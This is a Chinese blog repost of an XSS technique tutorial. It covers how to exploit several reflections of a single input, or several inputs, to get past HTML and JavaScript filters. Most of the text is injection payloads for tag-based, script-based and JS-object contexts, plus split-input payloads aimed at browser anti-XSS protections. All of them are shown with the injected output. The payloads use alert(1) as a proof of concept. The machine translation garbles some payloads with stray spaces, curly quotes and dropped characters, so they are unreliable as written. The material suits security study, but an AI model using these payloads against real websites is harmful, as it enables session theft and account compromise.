zoukankan      html  css  js  c++  java
  • 【XSS技巧拓展】————23、多反射型XSS

    通常在网站中查找XSS时,我们会看到源代码中输入的不止一个反射,这对于绕过几种类型的过滤器非常有用。让我们从一个非常简单的方法开始,了解我们可以使用相同的有效负载进行多少次反射:

    <svg onload = write(1) >

    示例:Example: French Wikipedia Website => 11111111 (8 times).

    为了在基于标记的注入中使用这些事件,我们有以下内容(使用输入和结果解析向量):

    双反射 - 单输入

    1)p ='onload = alert(1)> <svg / 1 ='

    第一次反射的<svg / 1 ='部分将启动标记并打开一个假属性,直到它找到另一个单引号来关闭它,在第二次反射中,使用'onload = alert(1)>。当然,在两次出现之间不能有单引号(通常源的纯HTML部分仅使用双引号)。

    'onload = alert(1)> <svg / 1 ='

    ...... [代码] ......

    'onload = alert(1)> <svg / 1 ='

    双反射 - 单输入(基于脚本)

    1)p ='> alert(1)</ script> <script / 1 ='
          或
    2)p = * / alert(1)</ script> <script> / *

    这对于使用脚本标记的注入是有效的,但为了避免等号,我们有一个额外的结构,使用javascript注释。不幸的是,当两个反射之间存在本机脚本块时,这不起作用,因为本机</ script>会破坏我们的连接。

    * / alert(1)</ script> <script> / *

    ...... [代码] ......

    * / alert(1)</ script> <script> / *

    三重反射 - 单输入

    1)p = * / alert(1)“>'onload =”/ * <svg / 1 ='
          或
    2)p =`-alert(1)“>'onload =”`<svg / 1 ='

    三重反射更复杂,因为在源代码中这3个部分之间具有正确的条件需要一点点运气。此外,我们必须依赖新引入的反引号(`)来在javascript中进行字符串分隔,这在某些情况下可能会出现问题。

    `-alert(1)“>'onload =”` <svg / 1 ='

    ...... [代码] ......

    `-alert(1)“> 'onload =”` <svg / 1 ='

    ...... [代码] ......

    `-alert(1)“> 'onload =”`<svg / 1 ='

    三重反射 - 单输入(基于脚本)

    1)p = * / </ script>'> alert(1)/ * <script / 1 ='

    也很复杂,因为我们有一个现有</ script>破坏我们语法的双重可能性,虽然我们不必处理双引号的可能性(通常在源代码中的任何地方)像前一种情况一样打破我们的注入。

    * / </ script>'> alert(1)/ * <script / 1 ='

    ...... [代码] ......

    * / </ script> '> alert(1)/ * <script / 1 ='

    ...... [代码] ......

    * / </ script> '> alert(1)/ * <script / 1 ='

    多重反射 - 多输入

    我们也可能通过2,3或更多不同的输入出现反射。这是最好的方案,甚至可以绕过主要浏览器的反XSS解决方案。

    2输入:

    P = <SVG / 1 = '&Q =' 的onload =警报(1)>

    3输入:

    p = <svg 1 ='&q ='onload ='/ *&r = * / alert(1)'>

    Javascript代码中的多重反射

    通常,当我们直接在javascript代码片段中进行反射时,利用非常简单并且不需要使用另一个反射。

    然而,至少有一种情况可能有用。

    请使用以下单行代码:

    var n = {a:“$ p”,b:“$ p”};
    (双反射,单输入$ p)

    var n = {a:“$ p”,b:“$ q”};
    (双反射,双输入$ p和$ q)

    即使正确编码或转义双引号以及小于符号(以防止使用</ script>打破javascript块),也可以利用这两个示例:

    INPUT
    p = -alert(1)} //

    RESULT *
    var n = {a:“ - - art(1)} // ”,b: “ - alert(1)} // ”};

    INPUT
    p = &q = -alert(1)//

    结果*
    var n = {a:“ ”,b: “ - alert(1)} // ”};

    * blue是“a”的值,red是“out-value”区域。

    看到它在这里工作。

    反斜杠()转义用于关闭第一个命名值“a”的双引号,然后该值将仅在下一个双引号上结束,第二个引号是第二个命名值“b”。以这种方式,应该是一个值,实际上成为要执行的代码(“alert(1)”),连接到命名值“a”。最后,为了避免语法错误,我们用“}”关闭变量“n”并注释其余的本机代码。

    还有混合的情况,在单个或多个输入的同时在HTML和javascript内部发生反射。在我的私人推特账号@brutalsecrets中,有一个关于最后一种利用的奇怪案例,这可能是撤销和警报弹出之间的区别。

    #hack2learn

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    死磕itchat源码--core.py
    死磕itchat源码--config.py
    死磕itchat源码--content.py
    死磕itchat源码--__init__.py
    SyntaxError Non-ASCII character 'xe5' in file
    死磕itchat源码--目录结构
    pip是用代理
    `itchat`配置代理
    搭建`wenblogic`执行`install`脚本失败
    sublimeText3的安装及插件的配置使用
  • 原文地址:https://www.cnblogs.com/devi1/p/13486392.html
Copyright © 2011-2022 走看看